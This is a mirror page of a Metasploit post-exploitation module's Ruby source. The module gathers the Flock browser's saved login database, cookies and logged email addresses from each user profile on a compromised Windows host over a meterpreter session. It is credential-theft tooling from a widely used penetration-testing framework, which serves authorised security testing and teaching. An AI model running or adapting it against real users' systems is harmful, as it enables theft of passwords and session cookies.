CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/flock.rb
Views: 11704
1
# frozen_string_literal: true
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Post
9
# this associative array defines the artifacts known to PackRat
10
include Msf::Post::File
11
include Msf::Post::Windows::UserProfiles
12
include Msf::Post::Windows::Packrat
13
ARTIFACTS =
14
{
15
application: 'flock',
16
app_category: 'browsers',
17
gatherable_artifacts: [
18
{
19
filetypes: 'logins',
20
path: 'AppData',
21
dir: 'Flock',
22
artifact_file_name: 'formhistory.sqlite',
23
description: "Flock's saved Username and Passwords ",
24
credential_type: 'sqlite',
25
sql_search: [
26
{
27
sql_description: "Database Commands which exports Chrome's Login data",
28
sql_table: 'logins',
29
sql_column: 'username_value, action_url'
30
}
31
]
32
},
33
{
34
filetypes: 'Cookies',
35
path: 'AppData',
36
dir: 'Flock',
37
artifact_file_name: 'cookies.sqlite',
38
description: "Flock's cookies file",
39
credential_type: 'sqlite',
40
sql_search: [
41
{
42
sql_description: "Database Commands which exports SRware's Login data",
43
sql_table: 'cookies',
44
sql_column: 'host_key, name, path'
45
}
46
]
47
},
48
{
49
filetypes: 'email',
50
path: 'AppData',
51
dir: 'Flock',
52
artifact_file_name: '*.log',
53
description: 'Log email',
54
credential_type: 'text',
55
regex_search: [
56
{
57
extraction_description: 'searches for Email addresses within the log files',
58
extraction_type: 'Email addresses',
59
regex: [
60
'(?i-mx:email.*")'
61
]
62
}
63
]
64
}
65
]
66
}.freeze
67
68
def initialize(info = {})
69
super(
70
update_info(
71
info,
72
'Name' => 'Flock credential gatherer',
73
'Description' => %q{
74
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
75
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
76
Further details can be found in the module documentation.
77
This is a module that searches for credentials stored in Flock on a windows remote host.
78
},
79
'License' => MSF_LICENSE,
80
'Author' => [
81
'Kazuyoshi Maruta',
82
'Daniel Hallsworth',
83
'Barwar Salim M',
84
'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
85
],
86
'Platform' => ['win'],
87
'SessionTypes' => ['meterpreter'],
88
'Notes' => {
89
'Stability' => [CRASH_SAFE],
90
'Reliability' => [],
91
'SideEffects' => []
92
}
93
)
94
)
95
96
register_options(
97
[
98
OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
99
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
100
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
101
# enumerates the options based on the artifacts that are defined below
102
OptEnum.new('ARTIFACTS', [
103
false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|
104
k[:filetypes]
105
end.uniq.unshift('All')
106
])
107
]
108
)
109
end
110
111
def run
112
print_status('Filtering based on these selections: ')
113
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
114
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
115
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
116
117
# used to grab files for each user on the remote host
118
grab_user_profiles.each do |userprofile|
119
run_packrat(userprofile, ARTIFACTS)
120
end
121
122
print_status 'PackRat credential sweep Completed'
123
end
124
end
125
126